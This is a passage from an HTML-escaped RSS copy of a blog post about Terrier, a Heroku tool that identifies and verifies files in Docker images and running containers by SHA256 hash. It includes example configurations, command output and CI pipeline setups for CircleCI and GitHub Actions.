&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
&lt;span class="o"&gt;[!]&lt;/span&gt; Not all components were identifed: &lt;span class="o"&gt;(&lt;/span&gt;4/31&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not identified: /bin/uncompress
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not identified: /bin/bzexe
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not identified: /bin/bzmore
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not identified: /bin/bunzip2
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt;
1

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As we can see from the output above, Terrier was unable to identify 4/31 of the components provided in the config. The return code is also 1 which indicates a failure. If we were to remove the components that are not in the provided image, the output from the previous command would look like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./terrier &lt;span class="nt"&gt;-cfg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;terrier.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Loading config: terrier.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Analysing Image
&lt;span class="o"&gt;[&lt;/span&gt;+] Docker Image Source: myImage.tar
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
&lt;span class="o"&gt;[!]&lt;/span&gt; All components were identified: &lt;span class="o"&gt;(&lt;/span&gt;27/27&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[!]&lt;/span&gt; Not all components were verified: &lt;span class="o"&gt;(&lt;/span&gt;26/27&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/cat
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/chmod
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/chown
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/df
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/dir
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/dmesg
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/echo
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/gzexe
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/gzip
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/login
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/ls
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/mkdir
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/mknod
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/mv
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/sleep
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/stty
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/su
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/tar
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/true
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/uname
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/wdctl
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/zdiff
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/zfgrep
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/zforce
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/zless
&lt;span class="o"&gt;[!]&lt;/span&gt; Component not verified: /bin/znew
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt;
1

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output above indicates that Terrier was able to identify all the components provided but many were not verifiable, the hashes did not match and once again, the return code is &lt;code&gt;1&lt;/code&gt; to indicate this failure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Identifying files in containers
&lt;/h3&gt;

&lt;p&gt;The previous sections focused on identifying files in images, which can be referred to as a form of “static analysis,” however it is also possible to perform this analysis to running containers. In order to do this, you need the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Location of the container’s &lt;code&gt;merged&lt;/code&gt; folder &lt;/li&gt;
&lt;li&gt;A SHA256 hash of a specific file/s&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;code&gt;merged&lt;/code&gt; folder is Docker specific, in this case, we are using it because this is where the contents of the Docker container reside, this might be another location if it were LXC.&lt;/p&gt;

&lt;p&gt;The location of the container’s &lt;code&gt;merged&lt;/code&gt; folder can be determined by running the following commands. First obtain the container’s ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b9e676fd7b09 golang &lt;span class="s2"&gt;"bash"&lt;/span&gt; 20 hours ago Up 20 hours cocky_robinson

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once you have the container’s ID, you can run the following command which will help you identify the location of the container’s &lt;code&gt;merged&lt;/code&gt; folder on the underlying host.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker &lt;span class="nb"&gt;exec &lt;/span&gt;b9e676fd7b09 mount | &lt;span class="nb"&gt;grep &lt;/span&gt;diff
overlay on / &lt;span class="nb"&gt;type &lt;/span&gt;overlay &lt;span class="o"&gt;(&lt;/span&gt;rw,relatime,lowerdir&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/docker/overlay2/l/7ZDEFE6PX4C3I3LGIGGI5MWQD4:
/var/lib/docker/overlay2/l/EZNIFFIXOVO2GIT5PTBI754HC4:/var/lib/docker/overlay2/l/UWKXP76FVZULHGRKZMVYJHY5IK:
/var/lib/docker/overlay2/l/DTQQUTRXU4ZLLQTMACWMJYNRTH:/var/lib/docker/overlay2/l/R6DE2RY63EJABTON6HVSFRFICC:
/var/lib/docker/overlay2/l/U4JNTFLQEKMFHVEQJ5BQDLL7NO:/var/lib/docker/overlay2/l/FEBURQY25XGHJNPSFY5EEPCFKA:
/var/lib/docker/overlay2/l/ICNMAZ44JY5WZQTFMYY4VV6OOZ,
&lt;span class="nv"&gt;upperdir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/docker/overlay2/04f84ddd30a7df7cd3f8b1edeb4fb89d476ed84cf3f76d367e4ebf22cd1978a4/diff,
&lt;span class="nv"&gt;workdir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/docker/overlay2/04f84ddd30a7df7cd3f8b1edeb4fb89d476ed84cf3f76d367e4ebf22cd1978a4/work&lt;span class="o"&gt;)&lt;/span&gt;          

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the results above, we are interested in two entries, &lt;code&gt;upperdir&lt;/code&gt; and &lt;code&gt;workdir&lt;/code&gt; because these two entries will provide us with the path to the container’s &lt;code&gt;merged&lt;/code&gt; folder. From the results above, we can determine that the container’s &lt;code&gt;merged&lt;/code&gt; directory is located at &lt;code&gt;/var/lib/docker/overlay2/04f84ddd30a7df7cd3f8b1edeb4fb89d476ed84cf3f76d367e4ebf22cd1978a4/&lt;/code&gt; on the underlying host.&lt;/p&gt;

&lt;p&gt;Now that we have the location, we need some files to identify and in this case, we are going to reuse the SHA256 hashes from the previous section. Let’s now go ahead and populate our Terrier configuration with this new information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;container&lt;/span&gt;
&lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;merged&lt;/span&gt;
&lt;span class="c1"&gt;#image: myImage.tar&lt;/span&gt;

&lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd'&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cf734865dd344cd9b0b349cdcecd83f79a751150b5fd4926f976adddb93d902c'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The configuration above shows that we have changed the &lt;code&gt;mode&lt;/code&gt; from &lt;code&gt;image&lt;/code&gt; to &lt;code&gt;container&lt;/code&gt; and we have added the &lt;code&gt;path&lt;/code&gt; to our &lt;code&gt;merged&lt;/code&gt; folder. We have kept the two hashes from the previous section.&lt;/p&gt;

&lt;p&gt;If we run Terrier with this configuration from the location &lt;code&gt;/var/lib/docker/overlay2/04f84ddd30a7df7cd3f8b1edeb4fb89d476ed84cf3f76d367e4ebf22cd1978a4/&lt;/code&gt;, we get the following output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./terrier
&lt;span class="o"&gt;[&lt;/span&gt;+] Loading config: cfg.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Analysing Container
&lt;span class="o"&gt;[!]&lt;/span&gt; Found matching instance of &lt;span class="s1"&gt;'82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd'&lt;/span&gt; at: merged/usr/local/go/bin/go with &lt;span class="nb"&gt;hash&lt;/span&gt;:82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the output above, we know that the container (&lt;code&gt;b9e676fd7b09&lt;/code&gt;) does not contain the malicious Python package but it does contain an instance of the Golang binary which is located at &lt;code&gt;merged/usr/local/go/bin/go&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Identifying and verifying specific files in containers
&lt;/h3&gt;

&lt;p&gt;And as you might have guessed, Terrier can also be used to verify and identify files at specific paths in containers. To do this, we need the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Location of the container’s &lt;code&gt;merged&lt;/code&gt; folder &lt;/li&gt;
&lt;li&gt;A SHA256 hash of a specific file/s&lt;/li&gt;
&lt;li&gt;The path and name of the specific file/s&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The points above can be determined using the same procedures described in the previous sections. Below is an example Terrier config file that we could use to identify and verify components in a running container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;container&lt;/span&gt;
&lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;merged&lt;/span&gt;
&lt;span class="na"&gt;verbose&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;files&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/curl'&lt;/span&gt;
    &lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96'&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/usr/local/go/bin/go'&lt;/span&gt;
    &lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we run Terrier with the above config, we get the following output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./terrier
&lt;span class="o"&gt;[&lt;/span&gt;+] Loading config: cfg.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Analysing Container
&lt;span class="o"&gt;[!]&lt;/span&gt; Found matching instance of &lt;span class="s1"&gt;'/usr/bin/curl'&lt;/span&gt; at: merged/usr/bin/curl with &lt;span class="nb"&gt;hash&lt;/span&gt;:9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96
&lt;span class="o"&gt;[!]&lt;/span&gt; Found matching instance of &lt;span class="s1"&gt;'/usr/local/go/bin/go'&lt;/span&gt; at: merged/usr/local/go/bin/go with &lt;span class="nb"&gt;hash&lt;/span&gt;:82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91
dd3ff92dd
&lt;span class="o"&gt;[!]&lt;/span&gt; All components were identified: &lt;span class="o"&gt;(&lt;/span&gt;2/2&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[!]&lt;/span&gt; All components were identified and verified: &lt;span class="o"&gt;(&lt;/span&gt;2/2&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt;
0

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the output above, we can see that Terrier was able to successfully identify and verify all the files in the running container. The return code is also &lt;code&gt;0&lt;/code&gt; which indicates a successful execution of Terrier.&lt;/p&gt;

&lt;h3&gt;
  
  
  Using Terrier with CI/CD
&lt;/h3&gt;

&lt;p&gt;In addition to Terrier being used as a standalone CLI tool, Terrier can also be integrated easily with existing CI/CD technologies such as GitHub Actions and CircleCI. Below are two example configurations that show how Terrier can be used to identify and verify certain components of Docker files in a pipeline and prevent the pipeline from continuing if all verifications do not pass. This can be seen as an extra mitigation for supply-chain attacks.&lt;/p&gt;

&lt;p&gt;Below is a CircleCI example configuration using Terrier to verify the contents of an image.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;machine&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;checkout&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
       &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Build Docker Image&lt;/span&gt;
       &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
             &lt;span class="s"&gt;docker build -t builditall .&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
       &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Save Docker Image Locally&lt;/span&gt;
       &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
             &lt;span class="s"&gt;docker save builditall -o builditall.tar&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
       &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Verify Docker Image Binaries&lt;/span&gt;
       &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
             &lt;span class="s"&gt;./terrier&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Below is a Github Actions example configuration using Terrier to verify the contents of an image.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Go&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Build&lt;/span&gt;
  &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
  &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Get Code&lt;/span&gt;
    &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@master&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Build Docker Image&lt;/span&gt;
    &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
      &lt;span class="s"&gt;docker build -t builditall .&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Save Docker Image Locally&lt;/span&gt;
    &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
      &lt;span class="s"&gt;docker save builditall -o builditall.tar&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Verify Docker Image Binaries&lt;/span&gt;
    &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
      &lt;span class="s"&gt;./terrier&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this blog post, we have looked at how to perform multiple actions on Docker (and OCI) containers and images via Terrier. The actions performed allowed us to identify specific files according to their hashes in images and containers. The actions performed have also allowed us to identify and verify multiple components in images and containers. These actions performed by Terrier are useful when attempting to prevent certain supply-chain attacks.&lt;/p&gt;

&lt;p&gt;We have also seen how Terrier can be used in a DevOps pipeline via GitHub Actions and CircleCI.&lt;/p&gt;

&lt;p&gt;Learn more about Terrier on GitHub at &lt;a href="https://github.com/heroku/terrier"&gt;https://github.com/heroku/terrier&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>docker</category>
      <category>security</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
